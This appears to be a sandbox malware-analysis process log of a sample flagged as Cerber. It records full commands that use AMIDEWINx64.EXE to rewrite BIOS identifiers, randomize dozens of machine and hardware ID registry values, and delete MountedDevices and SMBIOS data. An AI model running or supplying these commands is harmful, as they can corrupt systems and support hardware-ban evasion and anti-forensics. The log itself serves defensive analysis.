C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SP 192373080370213⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SP 192373080370214⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SV 192373080370213⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SV 192373080370214⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SS %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SS 192373080370213⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SS 192373080370214⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SU AUTO > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SU AUTO3⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SU AUTO4⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SK %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SK 192408783248853⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SK 192408783248854⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /SF %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /SF 192408783248853⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /SF 192408783248854⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BM %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BM 192408783248853⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BM 192408783248854⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BP %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BP 192408783248853⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BP 192408783248854⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BV 192408783248853⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BV 192408783248854⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BS %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BS 192431953299813⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BS 192431953299814⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BT %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BT 192431953299813⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BT 192431953299814⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /BLC %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /BLC 192431953299813⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /BLC 192431953299814⤵
- Cerber
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CM %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CM 192431953299813⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CM 192431953299814⤵
- Cerber
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CV %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CV 192431953299813⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CV 192431953299814⤵
- Cerber
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CS %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CS 192431953299813⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CS 192431953299814⤵
- Cerber
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CA %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CA 1924630280278453⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CA 1924630280278454⤵
- Cerber
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /CSK %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /CSK 1924630280278453⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /CSK 1924630280278454⤵
- Cerber
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /PSN %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /PSN 1924630280278453⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /PSN 1924630280278454⤵
- Cerber
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /PAT %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /PAT 1924630280278453⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /PAT 1924630280278454⤵
- Cerber
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\AMIDEWINx64.EXE /PPN %RANDOM%%RANDOM%%RANDOM% > nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\AMIDEWINx64.EXE /PPN 1924630280278453⤵
-
C:\Windows\AMIDEWINx64.EXEC:\Windows\AMIDEWINx64.EXE /PPN 1924630280278454⤵
- Cerber
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName /v ComputerName /t REG_SZ /d %random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName /v ComputerName /t REG_SZ /d 19269 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName /v ComputerName /t REG_SZ /d %random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName /v ComputerName /t REG_SZ /d 19269 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation /v ComputerHardwareId /t REG_SZ /d {%random%%random%-%random%%random%-%random%%random%} /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation /v ComputerHardwareId /t REG_SZ /d {192697215-2182232220-1716718176} /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation /v ComputerHardwareIds /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation /v ComputerHardwareIds /t REG_SZ /d 192697215-2182232220-1716718176 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\IDConfigDB\Hardware" "Profiles\0001 /v HwProfileGuid /t REG_SZ /d {%random%%random%-%random%%random%-%random%%random%} /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SYSTEM\CurrentControlSet\Control\IDConfigDB\Hardware" "Profiles\0001 /v HwProfileGuid /t REG_SZ /d {192697215-2182232220-1716718176} /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\SQMClient /v MachineId /t REG_SZ /d {%random%%random%-%random%%random%-%random%%random%} /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\SQMClient /v MachineId /t REG_SZ /d {192697215-2182232220-1716718176} /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\SQMClient /v WinSqmFirstSessionStartTime /t REG_QWORD /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\SQMClient /v WinSqmFirstSessionStartTime /t REG_QWORD /d 192697215-2182232220-1716718176 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v InstallTime /t REG_QWORD /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v InstallTime /t REG_QWORD /d 192697215-2182232220-1716718176 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v InstallDate /t REG_QWORD /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v InstallDate /t REG_QWORD /d 192697215-2182232220-1716718176 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid /t REG_SZ /d 192697215-2182232220-1716718176 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Cryptography /v GUID /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Cryptography /v GUID /t REG_SZ /d 192697215-2182232220-1716718176 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\HardwareConfig /v LastConfig /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SYSTEM\HardwareConfig /v LastConfig /t REG_SZ /d 192697215-2182232220-1716718176 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\NVIDIA" "Corporation\Global /v ClientUUID /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\NVIDIA" "Corporation\Global /v ClientUUID /t REG_SZ /d 192697215-2182232220-1716718176 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\NVIDIA" "Corporation\Global /v PersistenceIdentifier /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\NVIDIA" "Corporation\Global /v PersistenceIdentifier /t REG_SZ /d 1927317963-691823515-2748222102 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\NVIDIA" "Corporation\Global\CoProcManager /v ChipsetMatchID /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\NVIDIA" "Corporation\Global\CoProcManager /v ChipsetMatchID /t REG_SZ /d 1927317963-691823515-2748222102 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi" "Port" "0\Scsi" "Bus" "0\Target" "Id" "0\Logical" "Unit" "Id" "0 /v Identifier /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi" "Port" "0\Scsi" "Bus" "0\Target" "Id" "0\Logical" "Unit" "Id" "0 /v Identifier /t REG_SZ /d 1927317963-691823515-2748222102 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi" "Port" "1\Scsi" "Bus" "0\Target" "Id" "0\Logical" "Unit" "Id" "0 /v Identifier /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi" "Port" "1\Scsi" "Bus" "0\Target" "Id" "0\Logical" "Unit" "Id" "0 /v Identifier /t REG_SZ /d 1927317963-691823515-2748222102 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0 /v Identifier /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\0 /v Identifier /t REG_SZ /d 1927317963-691823515-2748222102 /f3⤵
- Enumerates system info in registry
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\1 /v Identifier /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\HARDWARE\DESCRIPTION\System\MultifunctionAdapter\0\DiskController\0\DiskPeripheral\1 /v Identifier /t REG_SZ /d 1927317963-691823515-2748222102 /f3⤵
- Enumerates system info in registry
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\ControlSet001\Services\BasicDisplay\Video /v VideoID /t REG_SZ /d {%random%%random%-%random%%random%-%random%%random%} /f >nul >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SYSTEM\ControlSet001\Services\BasicDisplay\Video /v VideoID /t REG_SZ /d {1927317963-691823515-2748222102} /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v Hostname /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v Hostname /t REG_SZ /d 1927317963-691823515-2748222102 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\System\CurrentControlSet\Services\Tcpip\Parameters /v Domain /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\System\CurrentControlSet\Services\Tcpip\Parameters /v Domain /t REG_SZ /d 1927317963-691823515-2748222102 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\System\CurrentControlSet\Control\DevQuery\6 /v UUID /t REG_SZ /d%random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\System\CurrentControlSet\Control\DevQuery\6 /v UUID /t REG_SZ /d1927317963-691823515-2748222102 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v NV" "Hostname /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v NV" "Hostname /t REG_SZ /d 1927317963-691823515-2748222102 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v ProductId /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v ProductId /t REG_SZ /d 1927628712-2478314811-502926029 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v BuildGUID /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v BuildGUID /t REG_SZ /d 1927628712-2478314811-502926029 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\Software\Microsoft /v BuildLab /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SYSTEM\Software\Microsoft /v BuildLab /t REG_SZ /d 1927628712-2478314811-502926029 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\Software\Microsoft /v BuildLabEx /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SYSTEM\Software\Microsoft /v BuildLabEx /t REG_SZ /d 1927628712-2478314811-502926029 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate /v AccountDomainSid /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate /v AccountDomainSid /t REG_SZ /d 1927628712-2478314811-502926029 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate /v PingID /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate /v PingID /t REG_SZ /d 1927628712-2478314811-502926029 /f3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate /v SusClientId /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate /v SusClientId /t REG_SZ /d 1927628712-2478314811-502926029 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Tracing\Microsoft\Profile\Profile /v Guid /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Tracing\Microsoft\Profile\Profile /v Guid /t REG_SZ /d 1927628712-2478314811-502926029 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v RegisteredOwner /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v RegisteredOwner /t REG_SZ /d 1927628712-2478314811-502926029 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v RegisteredOrganization /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v RegisteredOrganization /t REG_SZ /d 1927628712-2478314811-502926029 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v BuildBranch /t REG_SZ /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v BuildBranch /t REG_SZ /d 1927628712-2478314811-502926029 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v DigitalProductId /t REG_BINARY /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v DigitalProductId /t REG_BINARY /d 192796692-98796106-1534329956 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v DigitalProductId4 /t REG_BINARY /d %random%%random%-%random%%random%-%random%%random% /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion /v DigitalProductId4 /t REG_BINARY /d 192796692-98796106-1534329956 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\ControlSet001\Services\kbdclass\Parameters /v WppRecorder_TraceGuid /t REG_SZ /d {%random%%random%-%random%%random%-%random%%random%} /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SYSTEM\ControlSet001\Services\kbdclass\Parameters /v WppRecorder_TraceGuid /t REG_SZ /d {192796692-98796106-1534329956} /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\ControlSet001\Services\mouhid\Parameters /v WppRecorder_TraceGuid /t REG_SZ /d {%random%%random%-%random%%random%-%random%%random%} /f >nul2⤵
-
C:\Windows\system32\reg.exereg add HKLM\SYSTEM\ControlSet001\Services\mouhid\Parameters /v WppRecorder_TraceGuid /t REG_SZ /d {192796692-98796106-1534329956} /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKLM\SYSTEM\MountedDevices /f >nul2⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\MountedDevices /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume /f >nul2⤵
-
C:\Windows\system32\reg.exereg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume /f >nul2⤵
-
C:\Windows\system32\reg.exereg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 /f >nul2⤵
-
C:\Windows\system32\reg.exereg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BitBucket /v LastEnum /f >nul2⤵
-
C:\Windows\system32\reg.exereg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BitBucket /v LastEnum /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKLM\SOFTWARE\Microsoft\Dfrg\Statistics /f >nul2⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SOFTWARE\Microsoft\Dfrg\Statistics /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKLM\SYSTEM\CurrentControlSet\Services\mssmbios\Data /v AcpiData /f >nul2⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\mssmbios\Data /v AcpiData /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKLM\SYSTEM\CurrentControlSet\Services\mssmbios\Data /v BiosData /f >nul2⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\mssmbios\Data /v BiosData /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKLM\SYSTEM\CurrentControlSet\Services\mssmbios\Data /v RegistersData /f >nul2⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\mssmbios\Data /v RegistersData /f3⤵
- Modifies registry key
-
-
-
